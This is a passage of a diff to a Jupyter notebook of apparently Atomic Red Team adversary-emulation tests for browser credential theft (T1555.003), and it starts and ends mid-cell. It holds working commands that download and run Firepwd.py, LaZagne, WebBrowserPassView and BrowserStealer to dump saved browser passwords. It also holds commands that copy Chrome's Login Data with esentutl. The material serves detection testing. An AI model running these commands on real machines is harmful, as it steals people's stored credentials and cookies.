Dependencies: Run with `powershell`!\n##### Description: Firepwd must exist at #{Firepwd_Path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:temp\\Firepwd.py\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://raw.githubusercontent.com/lclevy/firepwd/167eabf3b88d5a7ba8b8bc427283f827b6885982/firepwd.py\" -outfile \"$env:temp\\Firepwd.py\"\n\n```\n##### Description: Firefox profile directory must be present\n\n##### Check Prereq Commands:\n```powershell\nif (get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\" -erroraction silentlycontinue) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://ftp.mozilla.org/pub/firefox/releases/98.0/win64/en-US/Firefox%20Setup%2098.0.msi\" -outfile \"$env:temp\\firefox.msi\"\nmsiexec.exe /i \"$env:temp\\firefox.msi\" /quiet\nsleep -s 30\nstart-process \"$env:programfiles\\Mozilla Firefox\\firefox.exe\".\nsleep -s 5\nstop-process -name \"firefox\"\n\n```\n##### Description: Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://aka.ms/vs/17/release/vs_BuildTools.exe\" -outfile \"$env:temp\\VS_BuildTools.exe\"\nwrite-host \"Visual Studio Build Tools (Desktop Development with C++) must be installed manually. Please run the installer from $env:temp\\VS_BuildTools.exe.\"\n\n```\n##### Description: Python must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"C:\\Program Files\\Python310\\python.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe\" -outfile \"$env:temp\\python_setup.exe\"\nStart-Process -FilePath $env:TEMP\\python_setup.exe -ArgumentList \"/quiet InstallAllUsers=1 PrependPath=1 Include_test=0\" -Wait\n\n```\n##### Description: Pip must be installed.\n\n##### Check Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip -v) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://bootstrap.pypa.io/ez_setup.py\" -outfile \"$env:temp\\ez_setup.py\" \ninvoke-webrequest \"https://bootstrap.pypa.io/get-pip.py\" -outfile \"$env:temp\\get-pip.py\"\ncmd /c \"$env:temp\\ez_setup.py\"\ncmd /c \"$env:temp\\get-pip.py\"\n\n```\n##### Description: Pycryptodome library must be installed \n\n##### Check Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip show pycryptodome) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (test-path \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\"){pip install pycryptodome | out-null | cmd /c %comspec% /k \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\" | out-null} else {write-host \"Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq\"}\n\n```\n##### Description: Pyasn1 library must be installed \n\n##### Check Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip show pyasn1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (test-path \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\"){pip install pyasn1 | out-null | cmd /c %comspec% /k \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\" | out-null} else {write-host \"Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq.\"}\n\n```" + "source": "### Atomic Test #8 - Decrypt Mozilla Passwords with Firepwd.py\nFirepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.\nUpon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Firepwd must exist at #{Firepwd_Path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Firepwd.py\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/lclevy/firepwd/167eabf3b88d5a7ba8b8bc427283f827b6885982/firepwd.py\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Firepwd.py\"\n\n```\n##### Description: Firefox profile directory must be present\n\n##### Check Prereq Commands:\n```powershell\nif (get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\" -erroraction silentlycontinue) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://ftp.mozilla.org/pub/firefox/releases/98.0/win64/en-US/Firefox%20Setup%2098.0.msi\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\firefox.msi\"\nmsiexec.exe /i \"PathToAtomicsFolder\\..\\ExternalPayloads\\firefox.msi\" /quiet\nsleep -s 30\nstart-process \"$env:programfiles\\Mozilla Firefox\\firefox.exe\".\nsleep -s 5\nstop-process -name \"firefox\"\n\n```\n##### Description: Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\ninvoke-webrequest \"https://aka.ms/vs/17/release/vs_BuildTools.exe\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\VS_BuildTools.exe\"\nwrite-host \"Visual Studio Build Tools (Desktop Development with C++) must be installed manually. Please run the installer from PathToAtomicsFolder\\..\\ExternalPayloads\\VS_BuildTools.exe.\"\n\n```\n##### Description: Python must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"C:\\Program Files\\Python310\\python.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\ninvoke-webrequest \"https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\python_setup.exe\"\nStart-Process -FilePath \"PathToAtomicsFolder\\..\\ExternalPayloads\\python_setup.exe\" -ArgumentList \"/quiet InstallAllUsers=1 PrependPath=1 Include_test=0\" -Wait\n\n```\n##### Description: Pip must be installed.\n\n##### Check Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip -v) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\ninvoke-webrequest \"https://bootstrap.pypa.io/ez_setup.py\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\ez_setup.py\" \ninvoke-webrequest \"https://bootstrap.pypa.io/get-pip.py\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\get-pip.py\"\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\ez_setup.py\"\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\get-pip.py\"\n\n```\n##### Description: Pycryptodome library must be installed \n\n##### Check Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip show pycryptodome) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (test-path \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\"){pip install pycryptodome | out-null | cmd /c %comspec% /k \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\" | out-null} else {write-host \"Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq\"}\n\n```\n##### Description: Pyasn1 library must be installed \n\n##### Check Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (pip show pyasn1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\"))\nif (test-path \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\"){pip install pyasn1 | out-null | cmd /c %comspec% /k \"C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\VC\\Auxiliary\\Build\\vcvars64.bat\" | out-null} else {write-host \"Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq.\"}\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cbe6e9fc", + "id": "bb0fdbfa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b52cd216", + "id": "2e0d11c8", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$PasswordDBLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\"\ncmd /c $env:temp\\Firepwd.py -d $PasswordDBLocation > $env:temp\\T1555.003Test8.txt\ncat $env:temp\\T1555.003Test8.txt\n```" + "```powershell\n$PasswordDBLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\"\ncmd /c PathToAtomicsFolder\\..\\ExternalPayloads\\Firepwd.py -d $PasswordDBLocation > $env:temp\\T1555.003Test8.txt\ncat $env:temp\\T1555.003Test8.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "31386ae0", + "id": "c9b4da3b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "e57c8b42", + "id": "f0b2f45a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"$env:temp\\T1555.003Test8.txt\" -erroraction silentlycontinue \n```" }, { "cell_type": "code", "execution_count": null, - "id": "a67caa00", + "id": "b33bc940", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "1a9eea81", + "id": "93acba36", "metadata": {}, "source": "### Atomic Test #9 - LaZagne.py - Dump Credentials from Firefox Browser\nCredential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Get Lazagne from Github and install requirements\n##### Check Prereq Commands:\n```sh\ntest -f /tmp/LaZagne/Linux/laZagne.py\n```\n##### Get Prereq Commands:\n```sh\ncd /tmp; git clone https://github.com/AlessandroZ/LaZagne; cd /tmp/LaZagne/; pip install -r requirements.txt\n```\n##### Description: Needs git, python3 and some pip stuff\n##### Check Prereq Commands:\n```sh\nwhich git && which python3 && which pip\n```\n##### Get Prereq Commands:\n```sh\napt install git; apt install python3-pip -y; pip install pyasn1 psutil Crypto\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dc1c6f72", + "id": "bd2a6140", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e1d39a5b", + "id": "37b46ffc", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -359,28 +359,28 @@ { "cell_type": "code", "execution_count": null, - "id": "80835036", + "id": "d2b69b43", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "e92a268a", + "id": "9bbb1528", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -R /tmp/LaZagne; rm -f /tmp/firefox_password.txt```" }, { "cell_type": "code", "execution_count": null, - "id": "7d4782af", + "id": "cd6a5735", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "cd575e4a", + "id": "667df66e", "metadata": {}, "source": [ "### Atomic Test #10 - Stage Popular Credential Files for Exfiltration", @@ -393,28 +393,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6da21c49", + "id": "90971dc6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "5cac8f57", + "id": "be8deb63", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"$env:temp\\T1555.003.zip\" -force -erroraction silentlycontinue \nRemove-Item -Path \"$env:temp\\T1555.003\\\" -force -recurse -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aef46247", + "id": "f982d5ba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "290ecd2d", + "id": "5ae5c151", "metadata": {}, "source": [ "### Atomic Test #11 - WinPwn - BrowserPwn", @@ -427,28 +427,28 @@ { "cell_type": "code", "execution_count": null, - "id": "de88d615", + "id": "b10b476d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "6614169f", + "id": "1aadb57c", "metadata": {}, "source": "#### Cleanup: \n```powershell\nrm .\\System.Data.SQLite.dll -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "5382a5e7", + "id": "c9831138", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "2502c62e", + "id": "07a81920", "metadata": {}, "source": [ "### Atomic Test #12 - WinPwn - Loot local Credentials - mimi-kittenz", @@ -461,14 +461,14 @@ { "cell_type": "code", "execution_count": null, - "id": "df425c30", + "id": "75b6c7b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "a8f2e945", + "id": "f171b529", "metadata": {}, "source": [ "### Atomic Test #13 - WinPwn - PowerSharpPack - Sharpweb for Browser Credentials", @@ -481,14 +481,14 @@ { "cell_type": "code", "execution_count": null, - "id": "1a9d873e", + "id": "c10a4392", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "755f9241", + "id": "410142d7", "metadata": {}, "source": [ "### Atomic Test #14 - Simulating Access to Chrome Login Data - MacOS", @@ -501,104 +501,149 @@ { "cell_type": "code", "execution_count": null, - "id": "64157997", + "id": "735f9e9a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "da1ee5b0", + "id": "414cce08", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm \"/tmp/T1555.003_Login Data\" >/dev/null 2>&1\nrm \"/tmp/T1555.003_Login Data For Account\" >/dev/null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4def48de", + "id": "30604885", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "0d21b429", + "id": "b93c5ccf", "metadata": {}, - "source": "### Atomic Test #15 - WebBrowserPassView - Credentials from Browser\nThe following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Check if WebBrowserPassView.exe exists in the specified path #{webbrowserpassview_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1555.003\\bin\\WebBrowserPassView.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1555.003/bin/WebBrowserPassView.exe -OutFile PathToAtomicsFolder\\T1555.003\\bin\\WebBrowserPassView.exe\n\n```" + "source": "### Atomic Test #15 - WebBrowserPassView - Credentials from Browser\nThe following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Check if WebBrowserPassView.exe exists in the specified path #{webbrowserpassview_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1555.003\\bin\\WebBrowserPassView.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1555.003\\bin\\\" -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1555.003/bin/WebBrowserPassView.exe -OutFile \"PathToAtomicsFolder\\T1555.003\\bin\\WebBrowserPassView.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3eabf61d", + "id": "b250dd15", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 15 -GetPreReqs" }, { "cell_type": "markdown", - "id": "13f9b66b", + "id": "01e088f5", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process PathToAtomicsFolder\\T1555.003\\bin\\WebBrowserPassView.exe\nStart-Sleep -Second 4\nStop-Process -Name \"WebBrowserPassView\"\n```" + "```powershell\nStart-Process \"PathToAtomicsFolder\\T1555.003\\bin\\WebBrowserPassView.exe\"\nStart-Sleep -Second 4\nStop-Process -Name \"WebBrowserPassView\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1a13d961", + "id": "c992209d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "ecf4445a", + "id": "a8ce2337", "metadata": {}, - "source": "### Atomic Test #16 - BrowserStealer (Chrome / Firefox / Microsoft Edge)\n[Github Repo](https://github.com/SaulBerrenson/BrowserStealer) Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line.\nIf using to test with Firefox, if the browser is x64 you need to use the x64 build\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Google Chrome must be on the device.\n\n##### Check Prereq Commands:\n```powershell\n'if ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}'\n\n```\n##### Get Prereq Commands:\n```powershell\n$installer = \"$env:temp\\ChromeStandaloneSetup64.msi\"\nInvoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi\nmsiexec /i $installer /qn\nStart-Process -FilePath \"chrome.exe\"\nStop-Process -Name \"chrome\"\n\n```\n##### Description: BrowserCollector must exist in the bin directory\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1555.003\\bin\\BrowserCollector.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/SaulBerrenson/BrowserStealer/releases/download/1.0.0.4/BrowserCollector_x64.exe\" -Outfile: \"PathToAtomicsFolder\\T1555.003\\bin\\BrowserCollector.exe\"\n```\n##### Description: Login Data file that is a copy of a chrome Login Data that contains credentials for the tool to \"steal.\" Must exist at the specified path.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1555.003\\src\\Login Data\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T155.003/src/LoginData?raw=true\" -Outfile: \"PathToAtomicsFolder\\T1555.003\\src\\Login Data\"\n```" + "source": "### Atomic Test #16 - BrowserStealer (Chrome / Firefox / Microsoft Edge)\n[Github Repo](https://github.com/SaulBerrenson/BrowserStealer) Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line.\nIf using to test with Firefox, if the browser is x64 you need to use the x64 build\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Google Chrome must be on the device.\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\n$installer = \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.msi\"\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.msi\" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi\nmsiexec /i $installer /qn\nStart-Process -FilePath \"chrome.exe\"\nStop-Process -Name \"chrome\"\n\n```\n##### Description: BrowserCollector must exist in the bin directory\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1555.003\\bin\\BrowserCollector.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1555.003\\bin\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/SaulBerrenson/BrowserStealer/releases/download/1.0.0.4/BrowserCollector_x64.exe\" -Outfile: \"PathToAtomicsFolder\\T1555.003\\bin\\BrowserCollector.exe\"\n```\n##### Description: Login Data file that is a copy of a chrome Login Data that contains credentials for the tool to \"steal.\" Must exist at the specified path.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1555.003\\src\\Login Data\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T155.003/src/LoginData?raw=true\" -Outfile: \"PathToAtomicsFolder\\T1555.003\\src\\Login Data\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b5a996dd", + "id": "9c9bbb98", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 16 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1bde8609", + "id": "22743cd8", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" -Destination \"$env:temp\" > $null\nRemove-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nCopy-Item \"$env:PathToAtomicsFolder\\T1555.003\\src\\Login Data\" -Destination \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\\" > $null\ncd \"$env:PathToAtomicsFolder\\T1555.003\\bin\"\n.\\BrowserCollector.exe\n```" + "```powershell\nCopy-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" > $null\nRemove-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nCopy-Item \"$env:PathToAtomicsFolder\\T1555.003\\src\\Login Data\" -Destination \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\\" > $null\ncd \"$env:PathToAtomicsFolder\\T1555.003\\bin\"\n.\\BrowserCollector.exe\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "52ab3652", + "id": "bbe394f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "380459d1", + "id": "859b6260", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nCopy-Item \"$env:temp\" -Destination \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nRemove-Item \"$env:temp\\Login Data\" > $null\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\" -Destination \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" > $null\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\Login Data\" > $null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e0450824", + "id": "f4de05a9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 16 -Cleanup" }, { "cell_type": "markdown", - "id": "4951b439", + "id": "ae69d02a", + "metadata": {}, + "source": "### Atomic Test #17 - Dump Chrome Login Data with esentutl\nThis test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database.\n[Reference](https://actzero.ai/resources/blog/hygiene-tip-shut-down-attackers-harvesting-cached-browser-credentials/)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Chrome must be installed\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\n$installer = \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.msi\"\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.msi\" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi\nmsiexec /i $installer /qn\nStart-Process -FilePath \"chrome.exe\"\nStop-Process -Name \"chrome\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "be1ff210", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1555.003 -TestNumbers 17 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "c0efd4c5", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nesentutl.exe /y \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\" /d \"%temp%\\T1555.003_Login_Data.tmp\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5e0eb756", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1555.003 -TestNumbers 17" + }, + { + "cell_type": "markdown", + "id": "1fb90d1e", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\ndel /f /q 